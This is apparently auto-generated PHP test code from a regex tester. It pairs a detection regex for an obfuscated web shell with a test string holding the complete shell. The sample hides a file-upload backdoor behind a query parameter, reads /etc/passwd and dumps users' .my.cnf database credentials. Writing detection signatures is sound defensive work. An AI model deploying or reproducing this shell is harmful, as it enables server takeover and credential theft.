$re = '/^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*\$\{["\']\\\\x47\\\\x4c\\\\x4fba\\\\x4cs[\'"].{0,630}?m\\\\x75\\\\x6ct\\\\x69\\\\x70\\\\x61\\\\x72\\\\x74\/form\-d.{0,380}?move_uploaded_file\(\$_files.{0,500}?file\([\'"]\/\\\\x65\\\\x74\\\\x63\/\\\\x70\\\\x61s\\\\x73wd.{0,1550}?=file_get_contents\(\$\{\$\{[\'"][\\\\\w]+.{0,120}?print\(\$\{\$\{["\']g[\\\\\w]+[\'"].{0,50}?\}cp\([[:punct:]\s]+$/is';
$str = '<?php ${"\\x47\\x4c\\x4fba\\x4cs"}["\\x77\\x6b\\x70\\x68k\\x77l\\x79\\x75"]="\\x67\\x65\\x74";${"\\x47\\x4cob\\x41l\\x53"}["\\x72\\x67\\x73\\x68\\x67\\x6fa\\x68\\x66"]="\\x66\\x6f\\x6c\\x64\\x65\\x72";${"gl\\x4f\\x42\\x41ls"}["\\x7a\\x6a\\x77\\x6c\\x61\\x7al\\x69"]="\\x75s\\x65r";${"\\x47\\x4c\\x4f\\x42a\\x4c\\x53"}["\\x61v\\x76dyw\\x65\\x6b"]="\\x6ea\\x6de";${"\\x47\\x4c\\x4f\\x42al\\x53"}["\\x70\\x71ul\\x73\\x75"]="\\x6ea\\x6de\\x73";${"\\x47lo\\x42als"}["\\x70t\\x6aw\\x6b\\x68\\x61w"]="_\\x68\\x6f\\x6de";error_reporting(0);ini_set("ma\\x78\\x5f\\x65\\x78ecut\\x69\\x6fn_\\x74im\\x65",0);session_start();if($_get["3x"]=="3\\x78"){echo"<form\\x20a\\x63tio\\x6e\\x3d\\"\\x22 \\x6de\\x74ho\\x64\\x3d\\x22\\x70os\\x74\\" e\\x6ectyp\\x65=\\"m\\x75\\x6ct\\x69\\x70\\x61\\x72\\x74/form-d\\x61\\x74a\\x22>\\n\\x20\\x20 \\x20\\x20\\x20<\\x69n\\x70\\x75\\x74\\x20typ\\x65\\x3d\\x22\\x66il\\x65\\x22\\x20\\x6eam\\x65=\\"\\x75\\x70\\x22/\\x3e\\n\\x20\\x20\\x20\\x20 \\x3c\\x69n\\x70\\x75\\x74\\x20type\\x3d\\x22s\\x75bm\\x69\\x74\\"\\x20\\x6e\\x61\\x6de=\\"s\\x75b\\x6d\\x69t\\"\\x20value\\x3d\\x22\\x53\\x75b\\x6d\\x69t\\"\\x20/\\x3e\\n\\x20 \\x20</\\x66\\x6fr\\x6d\\x3e";if($_post["\\x73\\x75\\x62mit"]){$srpgpyig="\\x75\\x72l";move_uploaded_file($_files["\\x75\\x70"]["t\\x6d\\x70\\x5f\\x6eame"],$_files["\\x75\\x70"]["n\\x61me"]);${$srpgpyig}=$_files["up"]["n\\x61m\\x65"];echo"\\x3ch\\x31\\x3e<\\x61 \\x68ref\\x3d\\x27$url\'\\x3eo\\x70e\\x6e\\x20s\\x68el\\x6c\\x21</a></\\x681\\x3e";}}if(function_exists("\\x66ile\\x5f\\x67\\x65\\x74\\x5f\\x63o\\x6eten\\x74s")){function cp(){$mglxyop="_h\\x6f\\x6d\\x65s";${"g\\x4c\\x4fba\\x4cs"}["t\\x64n\\x70\\x66\\x6c\\x71d"]="\\x5f\\x68\\x6fm\\x65\\x73";${"g\\x4cob\\x41\\x4c\\x53"}["\\x66bx\\x7ali"]="n\\x61\\x6des";${${"\\x47l\\x4fba\\x4cs"}["\\x66bx\\x7a\\x6ci"]}=file("/\\x65\\x74\\x63/\\x70\\x61s\\x73wd");${$mglxyop}=["/h\\x6fme/","/ho\\x6de\\x31/","/h\\x6f\\x6d\\x652/","/\\x68\\x6fme3/","/h\\x6f\\x6d\\x654/","/\\x68om\\x65\\x35/","/h\\x6fm\\x65\\x36/","/\\x68\\x6f\\x6d\\x657/","/\\x68\\x6fm\\x65\\x38/","/\\x68\\x6f\\x6d\\x659/","/h\\x6fme10"];foreach(${${"\\x47\\x4cob\\x41l\\x53"}["\\x74d\\x6e\\x70\\x66\\x6cq\\x64"]} as${${"\\x47l\\x4f\\x42\\x41\\x4cs"}["\\x70\\x74\\x6a\\x77k\\x68a\\x77"]}){${"\\x47\\x4c\\x4fba\\x4c\\x53"}["\\x76\\x74r\\x6b\\x72v\\x6c\\x6b\\x67"]="\\x6ea\\x6des";if(isset(${${"gl\\x4f\\x42\\x41\\x4cs"}["vt\\x72\\x6b\\x72\\x76\\x6c\\x6bg"]})){foreach(${${"\\x47\\x4c\\x4f\\x42a\\x4cs"}["p\\x71\\x75\\x6c\\x73\\x75"]} as${${"\\x47lob\\x41\\x4cs"}["\\x61\\x76\\x76\\x64\\x79\\x77\\x65\\x6b"]}){$yvivtnymcjft="use\\x72";${"g\\x4c\\x4fbals"}["x\\x6e\\x71\\x74\\x73\\x76\\x72i\\x68\\x79\\x73q"]="\\x5f\\x68\\x6f\\x6d\\x65";${"\\x47\\x4c\\x4fb\\x41\\x4cs"}["\\x79q\\x79mwb\\x70"]="\\x6e\\x61\\x6d\\x65";${${"\\x47l\\x4f\\x42\\x41ls"}["\\x7aj\\x77\\x6c\\x61\\x7a\\x6ci"]}=explode(":",${${"g\\x4c\\x4fbal\\x53"}["\\x79\\x71\\x79m\\x77\\x62\\x70"]});${$yvivtnymcjft}=${${"\\x47l\\x4fb\\x41\\x4cs"}["\\x7a\\x6awl\\x61zli"]}[0];${${"\\x47\\x4c\\x4f\\x42a\\x4c\\x53"}["\\x72\\x67\\x73h\\x67\\x6f\\x61h\\x66"]}=${${"glob\\x41l\\x53"}["\\x78\\x6e\\x71\\x74\\x73\\x76ri\\x68y\\x73q"]}.${${"\\x47l\\x4fb\\x41\\x4c\\x53"}["z\\x6aw\\x6c\\x61z\\x6c\\x69"]}."/.my\\x2e\\x63n\\x66";if(is_readable(${${"\\x47\\x4cob\\x41\\x4c\\x53"}["rgs\\x68\\x67\\x6f\\x61\\x68\\x66"]})){${"\\x47l\\x4f\\x42\\x41\\x4c\\x53"}["\\x66b\\x72\\x6fmbze\\x71"]="\\x67\\x65\\x74";${"\\x47l\\x4f\\x42a\\x4c\\x53"}["yij\\x75\\x6apbhp\\x66"]="\\x66o\\x6cder";${"\\x47\\x4co\\x42als"}["\\x76pc\\x6a\\x67\\x77\\x6d\\x7a\\x73\\x71s"]="get";${${"\\x47\\x4c\\x4fb\\x41\\x4c\\x53"}["fb\\x72\\x6f\\x6db\\x7aeq"]}=file_get_contents(${${"\\x47\\x4c\\x4f\\x42a\\x4c\\x53"}["\\x79\\x69\\x6a\\x75j\\x70b\\x68\\x70f"]});if(!empty(${${"g\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["\\x76pcjgwmzs\\x71s"]})){print(${${"g\\x4co\\x42\\x41ls"}["w\\x6bp\\x68k\\x77l\\x79\\x75"]}."<\\x62r\\x3e");}}}}}}cp();} ?>
';
preg_match_all($re, $str, $matches, PREG_SET_ORDER, 0);
// Print the entire match result
var_dump($matches);
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for PHP, please visit: http://php.net/manual/en/ref.pcre.php